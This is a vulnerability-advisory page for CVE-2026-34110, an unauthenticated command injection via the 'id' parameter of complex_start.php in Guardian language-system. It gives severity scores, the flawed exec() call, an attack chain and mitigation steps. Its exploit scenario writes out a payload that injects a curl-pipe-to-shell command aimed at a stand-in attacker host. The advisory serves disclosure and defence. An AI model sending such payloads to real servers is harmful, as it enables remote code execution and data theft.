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Guardian Language-System CVE-2026-34110

| EUVDEUVD-2026-41068 CRITICAL
OS Command Injection (CWE-78)
2026-07-01 disclosure@vulncheck.com GHSA-8jg8-r264-q28x
Command Injection PHP
9.3
CVSS 4.0 · Vendor: vulncheck
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Severity by source

Vendor (vulncheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Unauthenticated network request with unsanitized input reaching exec() gives AV:N/AC:L/PR:N/UI:N; arbitrary command execution yields full C/I/A impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 17:31 vuln.today

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in complex_start.php (line 14) without sanitization: exec(\"php jobs/complex.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.

AnalysisAI

OS command injection in Guardian language-system allows an unauthenticated remote attacker to execute arbitrary shell commands by injecting metacharacters into the 'id' GET parameter of complex_start.php, which is passed unsanitized into a PHP exec() call. No authentication or user interaction is required, and the CVSS 4.0 score of 9.3 (Critical) reflects full compromise of confidentiality, integrity, and availability. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify exposed complex_start.php endpoint
Delivery
Send GET request with malicious id parameter
Exploit
Shell metacharacters break out of exec() call
Execution
Arbitrary OS commands run as web user
Impact
Install webshell and pivot
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Vulnerability AssessmentAI

Exploitation The only prerequisite is network reachability to the complex_start.php endpoint of a Guardian language-system deployment; the CVSS vector is AV:N/AC:L/PR:N/UI:N, meaning no special conditions - remote unauthenticated exploitation against default configurations of Guardian language-system. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals converge on high real-world risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers an internet-exposed Guardian language-system instance and sends a single HTTP GET request to complex_start.php with an id value such as '1;curl attacker.tld/s|sh', causing the server's shell to execute the attacker's commands after the intended php job invocation. Because no authentication is required and a public proof-of-concept gist already demonstrates the technique, the attacker gains code execution as the web server user and can pivot to install a webshell or exfiltrate data.
Remediation No vendor-released patch version was identified in the provided intelligence, so no exact fix version can be cited; monitor the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-complex-start-php) for an official update. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

WITHIN 24 HOURS: Restrict network access to Guardian complex_start.php to trusted internal networks only via firewall rules; disable the 'id' GET parameter handling if operationally feasible. …

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CVE-2026-34110 vulnerability details – vuln.today
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